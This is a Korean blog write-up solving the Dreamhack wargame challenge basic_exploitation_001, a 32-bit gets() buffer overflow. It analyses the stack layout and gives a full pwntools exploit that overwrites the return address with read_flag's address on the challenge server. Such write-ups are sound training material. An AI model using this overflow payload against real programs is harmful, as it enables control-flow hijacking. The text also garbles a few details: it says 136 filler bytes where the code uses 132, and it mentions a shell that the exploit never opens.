https://dreamhack.io/wargame/challenges/3
basic_exploitation_001
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용
dreamhack.io
I. 개요
버퍼 오버플로우 취약점을 이용하여, 우리가 원하는 함수를 실행하도록 프로세스의 흐름을 조작하는 것이 목표이다.
basic_exploitation_000과 다른 점은, 쉘코드를 사용해야 할 필요가 없다는 점이다.
basic_exploitation_000은 바이너리 안에 우리가 원하는 쉘을 실행할 수 있는 함수가 없기에, 주어지는 buf의 주소에 쉘코드를 넣음으로써 강제로 쉘을 얻고 flag를 확인해야 했다.
반면, 이 문제는 flag를 읽어오는 함수가 바이너리 안에 들어있으므로, 쉘코드 대신 flag를 읽어오는 함수의 주소를 payload에 포함시키면 flag를 얻을 수 있다.
II. 취약점 분석
1. 버퍼 오버플로우
"a" 여러개를 입력하면 버퍼 오버플로우가 발생하고 프로그램이 종료된다.
이는 gets로 입력받는 데이터의 크기를 제한하지 않았기에 발생한다.
pwndbg를 이용하여 main+20에 중단점을 걸고 실행하면 에러가 발생하는 과정을 볼 수 있다.
"a"를 7개 입력한 경우에는 레지스터 EBP, ESP의 값에 이상이 없고, 프로그램은 이상 없이 동작한다.
그와 반대로, "a"를 180개 입력한 경우에는 레지스터의 값이 달라진 모습을 알 수 있다.
2. 스택구조 분석
"a"를 180개 입력한 경우, EBP, ESP가 가리키는 주소의 값들이 전부 "a"로 바뀐 모습을 볼 수 있다.
32비트 환경에서 스택의 SFP( Stack Frame Pointer)와 RET(반환주소)는 각 4바이트의 크기를 가진다.
buf의 크기는 128(0x80)바이트 이므로, 스택프레임의 구조는 아래와 같다.
스택 구조
+-----------------------------------------------------------+
| | | |
| buf | SFP | RET |
| (128 byte) | (4 Byte) | (4 Byte) |
| | | |
+-----------------------------------------------------------+
3. Payload 설계
buf와 SFP 영역은 132바이트 크기의 값으로 채워넣는다. 이 값은 오버플로우를 유발하는 용도 외에는 사용하지 않는다.
맨 마지막에는 read_flag 함수의 주소를 붙여준다.
4. 공격 방식
오버플로우가 발생하여 132바이트 크기의 영역을 임의의 값으로 메꾼다.
다음에는 main 함수의 RET를 read_flag 함수의 주소로 덮어쓴다.
그러면 main 함수가 종료되면, RET에 적힌 read_flag 함수가 있는 주소에서 read_flag 함수를 실행한다.
III. Exploit
1. 공격 준비
from pwn import *
from pwn import p32, ELF
HOST = "host3.dreamhack.games"
PORT = 14555
p = remote(HOST, PORT)
e = ELF("./basic_exploitation_001")
먼저 원격 서버에 접속할 준비를 하고, 문제의 ELF 파일을 불러온다.
2. Payload 구성
buf_filler = b"A" * 0x80
sfp_filler = b"X" * 0x4
get_flag = p32(e.symbols['read_flag']) # read_flag 함수의 주소
payload = buf_filler + sfp_filler + get_flag
앞의 136바이트는 'A'와 'X'로 채우고, read_flag 함수의 주소를 이어붙인다.
3. Payload 전송
p.send(payload)
p.interactive()
구성한 payload를 전송하고, 쉘을 획득한다.
얻은 쉘에 ls를 써넣으면, 문제의 flag를 얻을 수 있다.
IV. 풀이 코드
from pwn import *
from pwn import p32, ELF
HOST = "host3.dreamhack.games"
PORT = 14555
p = remote(HOST, PORT)
e = ELF("./basic_exploitation_001")
buf_filler = b"A" * 0x80
sfp_filler = b"X" * 0x4
get_flag = p32(e.symbols['read_flag']) # read_flag 함수의 주소
payload = buf_filler + sfp_filler + get_flag
p.send(payload)
p.interactive()
'DreamHack' 카테고리의 다른 글
XSS Filtering Bypass (0) | 2024.04.18 |
---|---|
ssp_001 (1) | 2024.04.15 |
basic_exploitation_000 (0) | 2024.04.10 |
Return Address Overwrite (0) | 2024.04.09 |
XSS-1 (0) | 2024.02.05 |